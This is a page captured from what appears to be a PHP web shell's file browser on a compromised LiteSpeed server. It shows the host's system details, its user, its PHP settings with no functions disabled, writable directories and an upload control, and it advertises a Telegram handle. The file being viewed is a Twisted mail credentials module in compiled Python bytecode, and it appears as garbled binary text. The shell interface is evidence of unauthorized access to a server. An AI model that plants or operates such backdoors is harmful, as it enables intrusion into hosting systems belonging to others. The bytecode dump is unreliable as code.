https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/mail/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/mail/__pycache__/_cred.cpython-310.pyc
o

�b�
�@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
mZddlm
Z
ee�Gdd	�d	��Zee�Gd
d�d��Zee�Gdd
�d
��Zee
�Gdd�dej��Zee
�Gdd�dej��Zgd�ZdS)z*
Credential managers for L{twisted.mail}.
�N)�implementer)�credentials)�IllegalClientResponse)�IChallengeResponse�IClientAuthentication)�nativeStringc@�$eZdZdd�Zdd�Zdd�ZdS)�CramMD5ClientAuthenticatorcC�
||_dS�N��user��selfr
�r�4/usr/lib/python3/dist-packages/twisted/mail/_cred.py�__init__�
z#CramMD5ClientAuthenticator.__init__cC�dS)NsCRAM-MD5r�rrrr�getName�z"CramMD5ClientAuthenticator.getNamecCs*tj||tjd���}|jd|�d�S)N)�	digestmod� �ascii)�hmac�HMAC�hashlib�md5�	hexdigestr
�encode)r�secret�chal�responserrr�challengeResponsesz,CramMD5ClientAuthenticator.challengeResponseN��__name__�
__module__�__qualname__rrr$rrrrr	�r	c@�,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�LOGINAuthenticatorcCs||_|j|_dSr)r
�challengeUsernamer$rrrrr#szLOGINAuthenticator.__init__cCr)NsLOGINrrrrrr'rzLOGINAuthenticator.getNamecCs|j|_|jSr)�challengeSecretr$r
�rr!r"rrrr,*sz$LOGINAuthenticator.challengeUsernamecCs|Srrr.rrrr-/sz"LOGINAuthenticator.challengeSecretN)r&r'r(rrr,r-rrrrr+!s
r+c@r)�PLAINAuthenticatorcCr
rrrrrrr6rzPLAINAuthenticator.__init__cCr)NsPLAINrrrrrr9rzPLAINAuthenticator.getNamecCsd|jd|S)N�rr.rrrr$<sz$PLAINAuthenticator.challengeResponseNr%rrrrr/4r)r/c@r*)
�LOGINCredentialscCs(ddg|_ddg|_tj�|dd�dS)Ns	Passwords
User Namespasswordsusername)�
challenges�	responsesr�UsernamePasswordrrrrrrBs

zLOGINCredentials.__init__cCs
|j��Sr)r2�poprrrr�getChallengeGrzLOGINCredentials.getChallengecCst|t|j���|�dSr)�setattrrr3r5)rr#rrr�setResponseJszLOGINCredentials.setResponsecCs
t|j�Sr)�boolr2rrrr�moreChallengesMrzLOGINCredentials.moreChallengesN�r&r'r(rr6r8r:rrrrr1@s
r1c@r*)
�PLAINCredentialscCstj�|dd�dSr)rr4rrrrrrSszPLAINCredentials.__init__cCr)N�rrrrrr6VrzPLAINCredentials.getChallengecCs0|�d�}t|�dkrtd��|\}|_|_dS)Nr0�z*Malformed Response - wrong number of parts)�split�lenr�username�password)rr#�parts�uselessrrrr8Ys
zPLAINCredentials.setResponsecCr)NFrrrrrr:_rzPLAINCredentials.moreChallengesNr;rrrrr<Qs
r<)r	r1r+r<r/)�__doc__rr�zope.interfacer�twisted.credr�twisted.mail._exceptr�twisted.mail.interfacesrr�twisted.python.compatrr	r+r/r4r1r<�__all__rrrr�<module>s&

https://t.me/RX1948 - 2025